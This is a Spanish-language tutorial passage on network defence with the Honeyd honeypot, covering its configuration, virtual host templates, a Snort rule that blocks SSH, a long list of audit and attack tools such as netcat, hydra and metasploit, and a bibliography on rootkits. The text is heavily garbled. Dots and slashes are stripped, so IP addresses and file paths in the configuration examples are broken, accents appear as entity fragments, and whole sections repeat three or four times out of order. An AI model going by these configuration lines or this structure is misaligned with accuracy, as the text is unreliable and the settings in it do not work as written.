set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
